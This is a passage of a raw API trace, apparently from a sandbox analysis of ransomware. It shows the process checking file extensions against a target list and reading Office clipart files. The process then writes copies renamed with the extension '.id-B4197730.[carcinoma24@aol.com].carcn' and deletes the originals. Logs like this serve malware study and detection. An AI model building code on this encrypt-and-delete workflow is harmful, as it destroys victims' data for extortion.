Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0273.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.189] lstrlenW (lpString=".doc") returned 4 [0273.189] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.190] lstrlenW (lpString=".docx") returned 5 [0273.190] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0273.190] lstrlenW (lpString=".pdf") returned 4 [0273.190] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.190] lstrlenW (lpString=".xls") returned 4 [0273.190] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.190] lstrlenW (lpString=".xlsx") returned 5 [0273.190] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0273.190] lstrlenW (lpString=".ppt") returned 4 [0273.190] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.190] lstrlenW (lpString=".zip") returned 4 [0273.190] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.190] lstrlenW (lpString=".rar") returned 4 [0273.190] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.190] lstrlenW (lpString=".bz2") returned 4 [0273.190] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.190] lstrlenW (lpString=".7z") returned 3 [0273.190] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.190] lstrlenW (lpString=".dbf") returned 4 [0273.190] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.190] lstrlenW (lpString=".1cd") returned 4 [0273.190] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.190] lstrlenW (lpString=".jpg") returned 4 [0273.190] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.191] lstrlenW (lpString=".doc") returned 4 [0273.191] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.191] lstrlenW (lpString=".docx") returned 5 [0273.191] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0273.191] lstrlenW (lpString=".pdf") returned 4 [0273.191] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.191] lstrlenW (lpString=".xls") returned 4 [0273.191] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.191] lstrlenW (lpString=".xlsx") returned 5 [0273.191] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0273.191] lstrlenW (lpString=".ppt") returned 4 [0273.191] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.191] lstrlenW (lpString=".zip") returned 4 [0273.191] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.191] lstrlenW (lpString=".rar") returned 4 [0273.191] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.191] lstrlenW (lpString=".bz2") returned 4 [0273.191] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.191] lstrlenW (lpString=".7z") returned 3 [0273.191] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.191] lstrlenW (lpString=".dbf") returned 4 [0273.191] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.192] lstrlenW (lpString=".1cd") returned 4 [0273.192] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0273.192] lstrlenW (lpString=".jpg") returned 4 [0273.192] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.192] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.192] lstrlenW (lpString="PARNT_07.MID") returned 12 [0273.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.192] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=6564) returned 1 [0273.192] CloseHandle (hObject=0x538) returned 1 [0273.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0273.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.193] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.193] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0273.194] GetLastError () returned 0x0 [0273.194] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x19a4, lpOverlapped=0x0) returned 1 [0273.233] WriteFile (in: hFile=0x4bc, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0273.235] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.235] WriteFile (in: hFile=0x4bc, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.235] SetEndOfFile (hFile=0x4bc) returned 1 [0273.243] CloseHandle (hObject=0x4bc) returned 1 [0273.244] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.244] SetEndOfFile (hFile=0x538) returned 1 [0273.279] CloseHandle (hObject=0x538) returned 1 [0273.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0273.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.280] lstrlenW (lpString=".doc") returned 4 [0273.280] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.280] lstrlenW (lpString=".docx") returned 5 [0273.281] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0273.281] lstrlenW (lpString=".pdf") returned 4 [0273.281] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.281] lstrlenW (lpString=".xls") returned 4 [0273.281] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.281] lstrlenW (lpString=".xlsx") returned 5 [0273.281] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0273.281] lstrlenW (lpString=".ppt") returned 4 [0273.281] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.281] lstrlenW (lpString=".zip") returned 4 [0273.281] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.281] lstrlenW (lpString=".rar") returned 4 [0273.281] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.281] lstrlenW (lpString=".bz2") returned 4 [0273.281] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.281] lstrlenW (lpString=".7z") returned 3 [0273.281] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.281] lstrlenW (lpString=".dbf") returned 4 [0273.281] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.282] lstrlenW (lpString=".1cd") returned 4 [0273.282] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.282] lstrlenW (lpString=".jpg") returned 4 [0273.282] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.282] lstrlenW (lpString=".doc") returned 4 [0273.282] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.282] lstrlenW (lpString=".docx") returned 5 [0273.282] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0273.282] lstrlenW (lpString=".pdf") returned 4 [0273.282] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.282] lstrlenW (lpString=".xls") returned 4 [0273.282] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.282] lstrlenW (lpString=".xlsx") returned 5 [0273.282] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0273.282] lstrlenW (lpString=".ppt") returned 4 [0273.282] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.282] lstrlenW (lpString=".zip") returned 4 [0273.283] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.283] lstrlenW (lpString=".rar") returned 4 [0273.283] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.283] lstrlenW (lpString=".bz2") returned 4 [0273.283] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.283] lstrlenW (lpString=".7z") returned 3 [0273.283] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.283] lstrlenW (lpString=".dbf") returned 4 [0273.283] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.283] lstrlenW (lpString=".1cd") returned 4 [0273.283] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0273.283] lstrlenW (lpString=".jpg") returned 4 [0273.283] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.283] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.284] lstrlenW (lpString="PARNT_10.MID") returned 12 [0273.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.285] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=5393) returned 1 [0273.285] CloseHandle (hObject=0x538) returned 1 [0273.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0273.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.286] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.286] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0273.287] GetLastError () returned 0x0 [0273.287] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x1511, lpOverlapped=0x0) returned 1 [0273.398] WriteFile (in: hFile=0x4ac, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x1520, lpOverlapped=0x0) returned 1 [0273.400] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.400] WriteFile (in: hFile=0x4ac, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.400] SetEndOfFile (hFile=0x4ac) returned 1 [0273.403] CloseHandle (hObject=0x4ac) returned 1 [0273.407] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.407] SetEndOfFile (hFile=0x538) returned 1 [0273.411] CloseHandle (hObject=0x538) returned 1 [0273.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0273.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.416] lstrlenW (lpString=".doc") returned 4 [0273.416] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.416] lstrlenW (lpString=".docx") returned 5 [0273.416] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0273.416] lstrlenW (lpString=".pdf") returned 4 [0273.417] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.417] lstrlenW (lpString=".xls") returned 4 [0273.417] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.417] lstrlenW (lpString=".xlsx") returned 5 [0273.417] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0273.417] lstrlenW (lpString=".ppt") returned 4 [0273.417] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.417] lstrlenW (lpString=".zip") returned 4 [0273.417] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.417] lstrlenW (lpString=".rar") returned 4 [0273.417] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.418] lstrlenW (lpString=".bz2") returned 4 [0273.418] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.418] lstrlenW (lpString=".7z") returned 3 [0273.418] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.418] lstrlenW (lpString=".dbf") returned 4 [0273.418] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.418] lstrlenW (lpString=".1cd") returned 4 [0273.418] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.418] lstrlenW (lpString=".jpg") returned 4 [0273.418] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.418] lstrlenW (lpString=".doc") returned 4 [0273.418] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0273.418] lstrlenW (lpString=".docx") returned 5 [0273.418] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0273.419] lstrlenW (lpString=".pdf") returned 4 [0273.419] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0273.419] lstrlenW (lpString=".xls") returned 4 [0273.419] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0273.419] lstrlenW (lpString=".xlsx") returned 5 [0273.419] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0273.419] lstrlenW (lpString=".ppt") returned 4 [0273.419] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.419] lstrlenW (lpString=".zip") returned 4 [0273.419] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0273.419] lstrlenW (lpString=".rar") returned 4 [0273.419] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0273.419] lstrlenW (lpString=".bz2") returned 4 [0273.419] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0273.419] lstrlenW (lpString=".7z") returned 3 [0273.419] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.419] lstrlenW (lpString=".dbf") returned 4 [0273.419] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0273.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.420] lstrlenW (lpString=".1cd") returned 4 [0273.420] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0273.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0273.420] lstrlenW (lpString=".jpg") returned 4 [0273.420] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0273.420] lstrcmpiW (lpString1=".MID", lpString2=".carcn") returned 1 [0273.420] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0273.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.422] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=5058) returned 1 [0273.422] CloseHandle (hObject=0x538) returned 1 [0273.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220 [0273.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0273.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0273.423] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.423] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0273.424] GetLastError () returned 0x0 [0273.424] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x13c2, lpOverlapped=0x0) returned 1 [0273.540] WriteFile (in: hFile=0x554, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x13d0, lpOverlapped=0x0) returned 1 [0273.541] ReadFile (in: hFile=0x538, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.541] WriteFile (in: hFile=0x554, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.541] SetEndOfFile (hFile=0x554) returned 1 [0273.542] CloseHandle (hObject=0x554) returned 1 [0273.542] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.542] SetEndOfFile (hFile=0x538) returned 1 [0273.548] CloseHandle (hObject=0x538) returned 1 [0273.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0273.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0273.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0273.550] lstrlenW (lpString=".doc") returned 4 [0273.550] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 